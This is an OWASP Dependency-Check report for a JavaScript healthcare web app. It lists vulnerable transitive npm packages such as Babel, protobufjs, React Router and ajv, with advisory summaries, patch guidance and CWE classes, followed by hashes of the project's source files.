Dependency-Check is an open source tool performing a best effort analysis of 3rd party dependencies; false positives and false negatives may exist in the analysis performed by the tool. Use of the tool and the reporting provided constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to the analysis or its use. Any use of the tool and the reporting provided is at the user’s risk. In no event shall the copyright holder or OWASP be held liable for any damages whatsoever arising out of or in connection with the use of this tool, the analysis performed, or the resulting report.
Summary of Vulnerable Dependencies (click to show all)
File Path: /github/workspace/package-lock.json?@babel/helpers
Referenced In Project/Scope: package-lock.json: transitive
### Impact When using Babel to compile [regular expression named capturing groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group), Babel will generate a polyfill for the `.replace` method that has quadratic complexity on some specific replacement pattern strings (i.e. the second argument passed to `.replace`). Your generated code is vulnerable if _all_ the following conditions are true: - You use Babel to compile [regular expression named capturing groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group) - You use the `.replace` method on a regular expression that contains named capturing groups - **Your code uses untrusted strings as the second argument of `.replace`** If you are using `@babel/preset-env` with the [`targets`](https://babeljs.io/docs/options#targets) option, the transform that injects the vulnerable code is automatically enabled if: - you use [_duplicated_ named capturing groups](https://github.com/tc39/proposal-duplicate-named-capturing-groups), and target any browser older than Chrome/Edge 126, Opera 112, Firefox 129, Safari 17.4, or Node.js 23 - you use any [named capturing groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group), and target any browser older than Chrome 64, Opera 71, Edge 79, Firefox 78, Safari 11.1, or Node.js 10 You can verify what transforms `@babel/preset-env` is using by enabling the [`debug` option](https://babeljs.io/docs/babel-preset-env#debug). ### Patches This problem has been fixed in `@babel/helpers` and `@babel/runtime` 7.26.10 and 8.0.0-alpha.17, please upgrade. It's likely that you do not directly depend on `@babel/helpers`, and instead you depend on `@babel/core` (which itself depends on `@babel/helpers`). Upgrading to `@babel/core` 7.26.10 is not required, but it guarantees that you are on a new enough `@babel/helpers` version. Please note that just updating your Babel dependencies is not enough: you will also need to re-compile your code. ### Workarounds If you are passing user-provided strings as the second argument of `.replace` on regular expressions that contain named capturing groups, validate the input and make sure it does not contain the substring `$<` if it's then not followed by `>` (possibly with other characters in between). ### References This vulnerability was reported and fixed in https://github.com/babel/babel/pull/17173.CWE-1333 Inefficient Regular Expression Complexity
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?@babel/plugin-transform-modules-systemjs
Referenced In Project/Scope: package-lock.json: transitive
### Impact Using Babel to compile code that was specifically crafted by an attacker can cause Babel to generate output code that executes arbitrary code. Known affected plugins are: - `@babel/plugin-transform-modules-systemjs` - `@babel/preset-env` when using the [`modules: "systemjs"` option](https://babel.dev/docs/babel-preset-env#modules), as it delegates to `@babel/plugin-transform-modules-systemjs` No other plugins under the `@babel` namespace are impacted. **Users that only compile trusted code are not impacted.** ### Patches The vulnerability has been fixed in `@babel/plugin-transform-modules-systemjs@7.29.4`. Babel also released `@babel/preset-env@7.29.5`, updating its `@babel/plugin-transform-modules-systemjs` dependency, to simplify forcing the update if you are using `@babel/preset-env` directly. ### Workarounds - Pin `@babel/parser` to v7.11.5. The downgrade will completely disable string module name parsing, but it would also disable other new language features and the build pipeline may fail as a result. Only do so if you are working on a legacy codebase and can not upgrade `@babel/plugin-transform-modules-systemjs` to v7.29.4. - Do not use the `modules: "systemjs"` option, migrate the codebase to native ES Modules or any other module formats. ### Credits Babel thanks Daniel Cervera for reporting the vulnerability.CWE-843 Access of Resource Using Incompatible Type ('Type Confusion'), CWE-94 Improper Control of Generation of Code ('Code Injection')
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?@babel/runtime
Referenced In Project/Scope: package-lock.json: transitive
### Impact When using Babel to compile [regular expression named capturing groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group), Babel will generate a polyfill for the `.replace` method that has quadratic complexity on some specific replacement pattern strings (i.e. the second argument passed to `.replace`). Your generated code is vulnerable if _all_ the following conditions are true: - You use Babel to compile [regular expression named capturing groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group) - You use the `.replace` method on a regular expression that contains named capturing groups - **Your code uses untrusted strings as the second argument of `.replace`** If you are using `@babel/preset-env` with the [`targets`](https://babeljs.io/docs/options#targets) option, the transform that injects the vulnerable code is automatically enabled if: - you use [_duplicated_ named capturing groups](https://github.com/tc39/proposal-duplicate-named-capturing-groups), and target any browser older than Chrome/Edge 126, Opera 112, Firefox 129, Safari 17.4, or Node.js 23 - you use any [named capturing groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group), and target any browser older than Chrome 64, Opera 71, Edge 79, Firefox 78, Safari 11.1, or Node.js 10 You can verify what transforms `@babel/preset-env` is using by enabling the [`debug` option](https://babeljs.io/docs/babel-preset-env#debug). ### Patches This problem has been fixed in `@babel/helpers` and `@babel/runtime` 7.26.10 and 8.0.0-alpha.17, please upgrade. It's likely that you do not directly depend on `@babel/helpers`, and instead you depend on `@babel/core` (which itself depends on `@babel/helpers`). Upgrading to `@babel/core` 7.26.10 is not required, but it guarantees that you are on a new enough `@babel/helpers` version. Please note that just updating your Babel dependencies is not enough: you will also need to re-compile your code. ### Workarounds If you are passing user-provided strings as the second argument of `.replace` on regular expressions that contain named capturing groups, validate the input and make sure it does not contain the substring `$<` if it's then not followed by `>` (possibly with other characters in between). ### References This vulnerability was reported and fixed in https://github.com/babel/babel/pull/17173.CWE-1333 Inefficient Regular Expression Complexity
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?@protobufjs/utf8
Referenced In Project/Scope: package-lock.json: transitive
## Summary protobufjs includes a minimal UTF-8 decoder used in non-Node and fallback decoding paths. The affected decoder accepted overlong UTF-8 byte sequences and decoded them to their canonical characters instead of replacing them. The issue concerns overlong encodings and code points outside the Unicode range. protobufjs may still accept some non-strict UTF-8 input for compatibility, so applications should not rely on protobufjs as a general-purpose strict UTF-8 validator. ## Impact An attacker who can provide protobuf binary data decoded through the affected UTF-8 path may be able to bypass application-level checks that inspect raw bytes before protobuf string decoding. For example, bytes that do not contain certain ASCII characters could decode to strings containing those characters. The practical impact depends on downstream application validation and how decoded strings are used. Node.js Buffer-backed decoding paths are not directly affected when they use Node's native UTF-8 decoding. ## Preconditions - The application must decode protobuf binary data influenced by an attacker. - The affected protobuf string field must be decoded through protobufjs's minimal UTF-8 decoder rather than a native UTF-8 decoder. - The application must rely on byte-level filtering or validation before protobuf string decoding. - The decoded string must then be used in a security-sensitive context. ## Workarounds Avoid relying only on byte-level filtering before protobuf string decoding with affected versions. Validate decoded strings at the point where they are used, and prefer runtime paths that use native UTF-8 decoding where necessary.CWE-176 Improper Handling of Unicode Encoding
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?@remix-run/router
Referenced In Project/Scope: package-lock.json: transitive
React Router (and Remix v1/v2) SPA open navigation redirects originating from loaders or actions in [Framework Mode](https://reactrouter.com/start/modes#framework), [Data Mode](https://reactrouter.com/start/modes#data), or the unstable RSC modes can result in unsafe URLs causing unintended javascript execution on the client. This is only an issue if developers are creating redirect paths from untrusted content or via an open redirect. > [!NOTE] > This does not impact applications that use [Declarative Mode](https://reactrouter.com/start/modes#declarative) (`<BrowserRouter>`).CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?@tootallnate/once
Referenced In Project/Scope: package-lock.json: transitive
Versions of the package @tootallnate/once before 3.0.1 are vulnerable to Incorrect Control Flow Scoping in promise resolving when AbortSignal option is used. The Promise remains in a permanently pending state after the signal is aborted, causing any await or .then() usage to hang indefinitely. This can cause a control-flow leak that can lead to stalled requests, blocked workers, or degraded application availability.CWE-705 Incorrect Control Flow Scoping
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/assets/config/AppApiConfig.js
MD5: 391c0d83f9a420a168622a7f888b81e3
SHA1: ed8a82020071a95f8dcbc337586a1ba7953edda0
SHA256:588adcaaa654cf6241b656018f7d0b149e8d015980d45f869a7030f4c498a2f6
File Path: /github/workspace/src/assets/config/AppAssetsConfig.js
MD5: 6a6e8f496bd18ffcf1b01b4d56f10455
SHA1: b01395325fa171b57603a2f790d810b3528fc093
SHA256:04805bbaaee20eb709d61af0676354dea04889ec0e618dbb64897b4e9a92f1f2
File Path: /github/workspace/src/assets/config/AppConstConfig.js
MD5: e4c831b3c74671b3168313e5e4f82498
SHA1: d31db7e386aae4c7cf950d9e8375b0d74f6d61d8
SHA256:b96079c5c5e5ceaca073678a1d2078207ce7aef0732aebdf07bbc80cdd1feb95
File Path: /github/workspace/src/assets/config/AppEncryptDecryptConfig.js
MD5: 01136936eaf81916ac2730b1192ef5f9
SHA1: 5ec7591c1635d825f93ce0b9a383df366e4c4544
SHA256:015b57084a3e8b2d4b53b318c48b2406a099f19a79a1cbe7913956d1db4e6a8e
File Path: /github/workspace/src/assets/config/AppPermissionsConfig.js
MD5: 4222fc17f7d205eae09aa83d94ef4397
SHA1: 8a8d40762b81092a1a7e5ad2b1802599a5498bb6
SHA256:408af671b83607dffb399919113cc6141883597ff2863453ecafaab29a360175
File Path: /github/workspace/src/assets/config/AppRoutingConfig.js
MD5: aa533a884104e6e1a7701dc88cad18dc
SHA1: 72aac748d233b65aa4e4be7658c74758fb24cd30
SHA256:f382d3dd78ce3ab6266d79db9eff81ba9ca97cb2439185c3a29c2620584c7369
File Path: /github/workspace/src/components/pages/features/patient/appointments/Appointments.js
MD5: 04f4d54116e9ee8da48b8d31826a84d7
SHA1: 4c28ecd76c393868a81cd050eaf63e82cd5422b9
SHA256:8a7b236f7ce143dd4839cf4948396e53d241dd17218997d490da32eba0c8bbcd
File Path: /github/workspace/src/components/pages/features/createCase/CaseStepper/CaseSteps.js
MD5: a687f880d21b4a808b2b7bb260ff4dd0
SHA1: 1d9c0259a5342903b096c595e29c10fd9409ed73
SHA256:63978ef7ef6d20c4a10cebb63a44be6a15713b4e7e104cd939cabbe7f4f66e02
File Path: /github/workspace/src/components/pages/features/researcherCase/CaseStepper/CaseSteps.js
MD5: 1954f86e3dc5514729a519abb3b70565
SHA1: 088f5497ad9adefab18cea3338835d314080c5d8
SHA256:9dacc499e07dd2733b0b9a78d75f45ba1b512ead485ebc89b2c6f06bd96602e5
File Path: /github/workspace/src/components/pages/features/secondOpinion/CaseStepper/CaseSteps.js
MD5: 10d77868c2651d1fea35034001a41c52
SHA1: 4158b53d4dee3ef226f15c101d0b711ccceaf140
SHA256:2f08ce7e7679dde784df963da55b71f5dfbcc7c3435e078b3e6371782d317d90
File Path: /github/workspace/src/components/common/broadcast-widget/Data.js
MD5: 290d316fc9f902d0804ae679b1a5604d
SHA1: 3d65bd106251d935e9635af50c48714d6c1ec8ab
SHA256:6efbbc241c41ecede7286342a5176f3f80a98b599c68052499171213f94c78bc
File Path: /github/workspace/src/components/common/navbar/Data.js
MD5: 09c577299420b9910e370f5f95664444
SHA1: c5f3abeb97c167d05a3646c434937c47c56379a4
SHA256:5fae04daf1776634608894fb8c3fad341120653f8fd92f09295e83844542194f
File Path: /github/workspace/src/components/common/notification-widget/Data.js
MD5: 811628c572674b703c8eb01e6ec0dcd6
SHA1: 8b941c98c1084b84dc0798cc16fd1892cc2df104
SHA256:820e8eec6fe403001c7b36df9cd28fb519086feaf37724194b6c90436a274994
File Path: /github/workspace/src/components/common/profile-completion-widget/Data.js
MD5: 97922a38c35ec94cc232c62f65795172
SHA1: 06663e1f5358606cfb0506f05c5ea4b838769b30
SHA256:943b229bbda66c09482122f2f5c663704b085b85b03fd00c5795500225b9e54d
File Path: /github/workspace/src/components/common/sidebar/Data.js
MD5: 715098c3f61c623d0fb56b0bf349a1a7
SHA1: 98dcff8ccabd6b8128cfb3726db4c83a0dd6482e
SHA256:788b4fec7b9d0c5cfb707284ac4510b00c9001462f026a5eb75fee23ce227663
File Path: /github/workspace/src/components/common/subscription-plan-card/Data.js
MD5: 7664e5043257545039e45ad871d84ac5
SHA1: 3fa9a213f6d5a78858424638598bcecdfa32efef
SHA256:e29a4952237b0add5addbbb23d80ae343bc0e32cb09d22b0152023c4abe13975
File Path: /github/workspace/src/components/common/view-activity-logs/Data.js
MD5: 68b329da9893e34099c7d8ad5cb9c940
SHA1: adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA256:01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
File Path: /github/workspace/src/components/pages/auth/create-password/Data.js
MD5: 4802d7bc14bd679efe37c50b85165ac1
SHA1: bf05724bc45e37dd93f1f400c116590054a9dbea
SHA256:f1f85957b9fe0cd227254972219c170ce5eb2962bb289f6e64f50e1a7b79a4fc
File Path: /github/workspace/src/components/pages/auth/patient-account-information/Data.js
MD5: 0d66cc801d4776cc18e4dd8eea06b68b
SHA1: 06b32f437a188352336bc323f890e70dc99f0c73
SHA256:a3862024d993152a567c415675c5dddce08e037ee5035dcc93fc0a00ffa77817
File Path: /github/workspace/src/components/pages/features/author-editor/all-requests/Data.js
MD5: b2de6cddb6272b81ba03054db81c713a
SHA1: 6f72b7a6bbe61bc4e86273ee9def28a40e98c2cf
SHA256:52a582beacf6c7614bf04302bf2012678b28976757f83ec8b9275b884970c84c
File Path: /github/workspace/src/components/pages/features/author-editor/configure/community-info/Data.js
MD5: 8880a622640918ffefb5c29fa058976a
SHA1: 59603566319ee3b3d2e6b0bb88b5f1d3983858e8
SHA256:ff0cb07812be00a5e771b3098eea7b4cc42bacac4f07f23f29a5877b07c8b23c
File Path: /github/workspace/src/components/pages/features/author-editor/configure/request-management/Data.js
MD5: 59e3ac8c743f12e52fa2e3e84bbb924c
SHA1: 609bc20200028418aca3a9e9d18e8dcb04860032
SHA256:66bba21dfe7126d472cd154c631bfb423a0f21a80088ce3261521931d4ea29ea
File Path: /github/workspace/src/components/pages/features/author-editor/home/Data.js
MD5: bbedad8edc3ad36aa8b267dc16b7abd9
SHA1: 74e36963b9a79e7ba5699850ffaabd4d7a7a1501
SHA256:e1a9700b4df6263e952d18b75b1d48df2c54f387aefa32bb56dcb0b0bcfa4dd1
File Path: /github/workspace/src/components/pages/features/author-editor/my-community/Data.js
MD5: 1d4089a18da56ecb815f3c0d53ce27f9
SHA1: 20597c01a0396c1a4a9b18b0da6ff0563c18a969
SHA256:a729c07a62450ead8590ca1d6661cb5f1fef83066f4109a4fee5f02bde54414c
File Path: /github/workspace/src/components/pages/features/createCase/CaseInfo/Data.js
MD5: ec57c4da8bd06cf733e3e0646c26c0d8
SHA1: 6e9b4978d2c404b40b44b80edec1716c9d9310c9
SHA256:dfca94eef9d45ca41aeffedb88fbb7ad1a32d3f25f0541ad38b9b0420fb9e9f4
File Path: /github/workspace/src/components/pages/features/createCase/SelectExpert/Data.js
MD5: f23f1f4e2f60259ce0a7cdd47bfc78f4
SHA1: 388441616d1117e81ec4cc9d1bad7a1dff162d87
SHA256:7b20c4858a1fe84a572405c5bccd303238df86033cb5fec8bf66e35df3c307d8
File Path: /github/workspace/src/components/pages/features/createCase/SelectPatient/Data.js
MD5: 591b8598c3e1784549cf079ad9be244a
SHA1: d5b9840b0de504bfd7a22534256da0d3523d96e3
SHA256:17b2ecde0e3ece0de035e6c17e632b99af2ea467be521b8246d06c6409a05218
File Path: /github/workspace/src/components/pages/features/dashboard/Data.js
MD5: 73a9590b414965b3fc37e7c2812b7a08
SHA1: 70866f96e3fc1a368bfe7dbedeef770e9ee7491d
SHA256:ce20adfd2e110b40949ce7e5ec9a29e0335faba756b865cf4831f5d7195c634d
File Path: /github/workspace/src/components/pages/features/dashboard/second-opinion/Data.js
MD5: 080514f5e3b86bc94fdfa085bc7b0466
SHA1: 2a0be1e1f8799ccb71289ae56aa4676b595da28a
SHA256:aef4760511a4c915e8fe031c51cc0cbb69699ca355ad5f4f231731a77bce85c6
File Path: /github/workspace/src/components/pages/features/dashboard/tele-expertise/Data.js
MD5: c7170b645deb990104a0adaaeb08783f
SHA1: 78f8a2f6fb8893f0cd5a988afcc901e2537558a9
SHA256:92efd8419b22ca56e2038046f0254971a6512017edd998d222f486a0a064b59b
File Path: /github/workspace/src/components/pages/features/directory/Data.js
MD5: 9cbfddb4b177a39d28795a3422853c68
SHA1: 5baad619cbc6ce30af81d1719f563b91371225f0
SHA256:fd87a0d0c4dabe09df0ab7ebf11f4c6141bfe0f44f7e59f4cb1353a04b162ca7
File Path: /github/workspace/src/components/pages/features/home/Data.js
MD5: bb6a72ce25dae11331130630a46899cb
SHA1: 4ae3c64c2c30aeb4e777dfcef9171269e5af4c49
SHA256:b8c75f3abb32a9f65d465f688c36ad92842dec12f129782ee934c3a0e1650371
File Path: /github/workspace/src/components/pages/features/my-community/Data.js
MD5: ecf9020acc6ab0b59c0a4fbf7980a06b
SHA1: 81fa73b04624f266c6ce8188a5a7c76b714087e3
SHA256:bb008351d99277fea74e6d81e100e43a574097406a381ca5a3b51d3ee38695e2
File Path: /github/workspace/src/components/pages/features/my-library/Data.js
MD5: 8eb7d625e414fe886f6ae5144e313d1a
SHA1: cffaa90751c3446bc6c0f0aa3be8fce72ad2aef3
SHA256:56e23a563d22da2649b7154e50b07dcf666944555c6e8de7c2e993ae507e2510
File Path: /github/workspace/src/components/pages/features/my-library/second-opinion/bookmarked-requests/Data.js
MD5: 58fc6c249d6f40a9a6ded7434ee30ec0
SHA1: 1af38dd9ebb6d777ea1f521a87918d2e87068c0c
SHA256:cbe2bab174f6aaae4f284409238d83268608e9270db093717c0df1bc1dbe8de8
File Path: /github/workspace/src/components/pages/features/my-patients/Data.js
MD5: 96929d0edd08881a33359dcae9e7ecd5
SHA1: 946395f47893f4139275c1b71cc0ccd3feaf5256
SHA256:ebd38b7ef05eb174554450eac501b31f9df554356a95c9c43d1eb0ec7c2a9701
File Path: /github/workspace/src/components/pages/features/my-requests/Data.js
MD5: 37adcc5b2d57f65ad03fb77d0b789a4d
SHA1: 691d74d15575bf3a517ad12a5e76c0b4d873b630
SHA256:4844841d4143ae37ebe9c27b4b4fad70de68571e99ed64d3be76d5ec3a872c10
File Path: /github/workspace/src/components/pages/features/my-requests/second-opinion/Data.js
MD5: b9b41811cdb9ecee4897e6e593ad98fb
SHA1: ecc996238fdf550947c6db8bf668f3129d24f03c
SHA256:9b2974f64c510c878dcec3458dc07c606f6f674a2564a392d9a7634cec9fd144
File Path: /github/workspace/src/components/pages/features/patient/home/Data.js
MD5: 927fb5b5cd0ab772a4e692c14faca39c
SHA1: b4c3e2322fcfe5231be69dda1414a5ca7f021ef7
SHA256:3a87940c8d62d270d6a67e13f6f45bdad45181b1a2b27111ff0eb722b01749e4
File Path: /github/workspace/src/components/pages/features/patient/my-library/bookmarked-requests/Data.js
MD5: 44a57b5f3e92e7aac0149eab016a251b
SHA1: 4a2df096099d28e10380c03a6c72f681e16ac93e
SHA256:2e7c42e84c4829db96e48ab9043b9f40deaa01e7df903c695d1b2ddc73fad46d
File Path: /github/workspace/src/components/pages/features/patient/my-requests/Data.js
MD5: effc66ea35721901cb4e6c0b4d8b9b9b
SHA1: 15a89d2830de08851ff0bdc216e2d9517d674f9c
SHA256:d2c5345a96f6cf061bb091bd44040bdbb5ceb0cd20dc1aa78607323b637f5a28
File Path: /github/workspace/src/components/pages/features/patient/settings/profile-information/Data.js
MD5: 4c9ed117ecdd3bf2441f770faf431b98
SHA1: a361f37789f8d149eb79cf7f52502e29d855a512
SHA256:484f8a0c232c2a641bf8d3b0fed3c37d8dd749ad84253e7e4af997a82e101e42
File Path: /github/workspace/src/components/pages/features/researcherCase/CaseInfo/Data.js
MD5: f85a932f2e5b27aa305927476fc18ae6
SHA1: 1d826f46bda7ad536758b9a2410339db756ae6ad
SHA256:cbd6236cf6eb33df87539903380b22dc79be2d86a8c764f60e474a78f208de0d
File Path: /github/workspace/src/components/pages/features/secondOpinion/SelectOrganDiagnosis/Data.js
MD5: e0ea79efda308c2ebb205d325c0351c4
SHA1: 393352db15c323fab1f99854bfdd84208746cbf8
SHA256:c5dfacaad91a9e6671ffd22b9adca43789b9e812c612c250a3c7214c553685fd
File Path: /github/workspace/src/components/pages/features/settings/account-settings/Data.js
MD5: 3f75bcddbeb9445394a425c4e5b544ab
SHA1: 163a724b8bc9e65a3a422ad43e4a15ea25742231
SHA256:54133903493cab71d8701867b208824715d39556b29132e5b099f59b6fa42371
File Path: /github/workspace/src/components/pages/features/settings/notifications/Data.js
MD5: 249f06a22e50343e4cf1d6aec7f870fe
SHA1: 56b6cc6eaed6bf8e850c17e81475f9be4950610e
SHA256:c960b17085d002ce99b17eb5d85d431369c9449db2b54c7966ca9ffebee1e742
File Path: /github/workspace/src/components/pages/features/settings/professional-information/Data.js
MD5: f75734438f17b9d87b663278d0b04206
SHA1: 9ce50fac82f4a054dc5388600fe9c297f81d7e71
SHA256:e91b3ddb90435675a8f8c6df6ddc58b6486e4f43c5ae5bfd5ee097f32d09e429
File Path: /github/workspace/src/components/pages/features/settings/profile-information/Data.js
MD5: 4659a503964a77c5de4b179ced29cfe0
SHA1: 86daaada4aa77568253df6267fc3517540382e7d
SHA256:94b84894b997b3fcf16f29533329620e4e06e925aab2c143fc87e2b0a7f61207
File Path: /github/workspace/src/components/pages/features/settings/requests-management/Data.js
MD5: 20949d5a1b140cae2ddcee9b9f56bb20
SHA1: d4d4c2eb5c963998b00093e82cc1da6e2c4e68a2
SHA256:4b50b02f68bbf2ed3e2601c57c17927fc217b37df8570a029bea0e8bbb4731e0
File Path: /github/workspace/src/components/pages/features/synapp-admin/activity-monitoring/Data.js
MD5: ab6a1a09304c2e05dc25db57b98332aa
SHA1: 3573eb53d3b3392a96c7359826657fe33108c847
SHA256:78bacb43defeb7cc236dfd7f85ac6707859da17e8454c121bc1aa3a1bdaba37f
File Path: /github/workspace/src/components/pages/features/synapp-admin/dashboard/Data.js
MD5: 5381d3512f1209f88c0e1b4e87f646d3
SHA1: e5592b9d21a7817bb177f481af87a3a1fe316fb9
SHA256:038eda1f8a26bcbb92f7b5b67a14b96e0bcfe1d7be57c6faeb8383bf264e8cad
File Path: /github/workspace/src/components/pages/features/synapp-admin/my-requests/Data.js
MD5: 7a36ac8ca3b3bf7d4d5459c8f8f3d4e2
SHA1: 74b51320bdf6f803afbcd42c39ef13b1cb3ac451
SHA256:f9f29ad40c6152c32960e3ba0f989e3695a34e4d9f1cd25d7eba49f53f80f97d
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/communities/Data.js
MD5: c9f4b8a7dfcf24be15be254fdc9687b9
SHA1: 70abc56bea567c0a015c0de673a6149294533d32
SHA256:25b9f0872ce5c9f8ba2382d1895ccf7013fb5dc584e66d219f52bbca75400f25
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/other-healthcare-professions/Data.js
MD5: c63878be0acfa0908080d5d90b842923
SHA1: aa6182a3c62d04e153357b6563cfbd4232b02562
SHA256:eeb1648e474e6a3c8b7d9c59628d1176dfc23125a53d230afc76a5607f22d1bc
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/patients/Data.js
MD5: bcd3d22900f0effc61d9fd3ab9980932
SHA1: 828cfb03aae72d0853017808a60723486a9510f0
SHA256:3234213783e65b45eb519a73cfe308266e7fabd99bf9c74ce2f4f65b2f3ee1d4
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/physicians/Data.js
MD5: c3814bd4458b43e2b98794b9ae6b3b49
SHA1: cdfc48a48cde327959f6a681f281ec2dd6b462f3
SHA256:822b88738b22c796cfb94136b342a77046f8f19a6b0b4bc55bdc6568a52d861b
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/physicians/manual-user-entry/Data.js
MD5: 106c2cf8b87bde7b7aaa76fc5156052c
SHA1: 82f27fcbe898e1d65f91971ce622984753423f74
SHA256:323569090292d4e10e590e43c4cdd7dc09aab60910d5ebaf8ba4c6a068bb1929
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/medical-settings/expertise/Data.js
MD5: df24410fa69d18a8970addcf6e94ed8f
SHA1: 957049aea7d9495ab1870777c105ce4f148fd338
SHA256:7e363586b1fef9af13ee68345caae86c2a4d162c3e477248e1c37dc6cf59861b
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/question-library/Data.js
MD5: 42802a649d6ec7d871bc34670dd61dd6
SHA1: d645059640e92dfb9e6cf695fd0706d2972d184b
SHA256:080b1309722e9ef9c50919caebcda134eefd69e3beb31ee55dbb14e2def6a7c4
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/user-roles-and-permissions/discount-info/Data.js
MD5: abcf3104f071eda9d90c517e931dbb3b
SHA1: 707c2447f85fdf99ffe6823f942258900d9eee28
SHA256:323b460ce216d04f9aef7715a274c60c9e1b9732af9483935c76bdc733cb6504
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/user-roles-and-permissions/manage-discount/Data.js
MD5: c4e2bb5a6371ee797d8f62a987a1e428
SHA1: 9158c8a67e6bf08febf76df4f61be94ecc1cc6fb
SHA256:0640050ecda2de6ebe421ea1031ab36ea1e85b80910f6df9a95fb7fc045f2c72
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/user-roles-and-permissions/user-business-models/Data.js
MD5: de2df240147c24497b630d5938cdbffc
SHA1: 653f5011ee8e3434b9d181e9d291f0f975690b2d
SHA256:670572297e3b0adc1477208996c6eb7b53afe18f1025d97330b17bb82f07bb7b
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/physicians/manual-user-entry/EducationInfoStepThree.js
MD5: 91e453572b49c272cd30879765007f00
SHA1: 981188e33a93c0fc7d7ca33faa268684ad808e28
SHA256:430af36570665abd449ed3db90d922cb875d23736d7d1cfab216d9fbe5694ed5
File Path: /github/workspace/src/components/common/common-reset-password/Index.js
MD5: 943b91c4f2e764ade0cf52526667c21d
SHA1: a54d36ad9b3d5d8f129e243bb3e448cdf90fa258
SHA256:2f27e9d7ea0706cbd885852d36b8078f56a584cc319e6efa1fa23c17c7050190
File Path: /github/workspace/src/components/common/notification-widget/Index.js
MD5: 56ef8e4232e64d682fc70312699b9aeb
SHA1: d2935a4d09a2249a7788a4272d95c67cc59cf0bc
SHA256:cce80377ec50cfe0a79f37b0691dda48e74005e3271d3df673fe9785f883770b
File Path: /github/workspace/src/components/pages/features/patient/my-library/MyLibrary.js
MD5: a6541d6727709128804a5cb4f8f05717
SHA1: 1b43821e8f55801194ddd355776bad1e9f8dbe35
SHA256:1bc84ac815636459f9be657bd89ed5dab1979223bd404641c44bf09942e2da61
File Path: /github/workspace/src/components/pages/features/patient/my-requests/MyRequests.js
MD5: 7e93347f589b7753c0983a21b654ce13
SHA1: 746484dcac934faf456aa0eedb70bad7131cc7cd
SHA256:c5928261426a1a4ec4a8ed0cb88cc77310ecee8c44df46ebca2b6d0191a3eca2
File Path: /github/workspace/src/components/common/network-card/NetworkCard.js
MD5: 8d9d39ce5a2ff00d9141fd67fa586d39
SHA1: 979ce5a82f5913f5122a58e95465c5bde4b9cec0
SHA256:131efeffbc319a5bc6ff9967b79360b779ab4ea7e6fc61bb63d7a0f4ab45c158
File Path: /github/workspace/src/components/pages/features/secondOpinion/SelectDiagnosis/SelectDiagnosis.js
MD5: b1997067756015c076f15077d48e5032
SHA1: ef03fe6f4be2463d6a71a0b5c89ea7c158237d2f
SHA256:12cf94b0a1d682645a99578ba09f184855c86cdd80eb706678835573c373f9f3
File Path: /github/workspace/src/components/pages/features/secondOpinion/SelectOrgan/SelectOrgan.js
MD5: e88b45d082b845690563530aa6d54d61
SHA1: 38a6a67919b20a17de1341db4ecd670284268831
SHA256:3931d6ca6b3fb1c3ea9bb2d8616b961d28a79516f8967beb70bc53b3b45e3789
File Path: /github/workspace/src/redux/reducer/accountSettingsReducer.js
MD5: c85c00c768c0d53bf313033188b6f216
SHA1: ed315e8d0d765bb0494b753bddfc53e641a5340e
SHA256:704baf399f43b39516ba2cf83056ed0518c818f4270a45a47ff7424dc25151a4
File Path: /github/workspace/src/redux/services/accountSettingsService.js
MD5: 6965db54698f55cbcdd0d27505a6e880
SHA1: c7356653939a5488d70eb9a7f2f2ab3981f2b170
SHA256:b381e8020fb305e868e078d04d182c16b85ecde360dccba357d1f80beb437509
File Path: /github/workspace/src/redux/reducer/activeProfileReducer.js
MD5: d14eb9a7b53372542dbc937326c44dff
SHA1: 18f6d197c32d309f4a876e48f79b5efe28e6afcc
SHA256:60d4d4437cfa984e23fb948bb8d199024fc71f43a563ba316acb16a37bc55b7d
File Path: /github/workspace/src/components/common/add-payment-info-dialog/addPaymentInfoCollapse.js
MD5: df70aa2c8dfaeef770f46a7232ae55ea
SHA1: cb6c8165cf5a124f3161cb702bfed286e4800419
SHA256:642b2e25a941bdd0f8dcfdbbabb565020f2237d088e33f4b0739c25df104b268
File Path: /github/workspace/package-lock.json?ajv
Referenced In Project/Scope: package-lock.json: transitive
An issue was discovered in ajv.validate() in Ajv (aka Another JSON Schema Validator) 6.12.2. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes
Vulnerable Software & Versions (NPM):
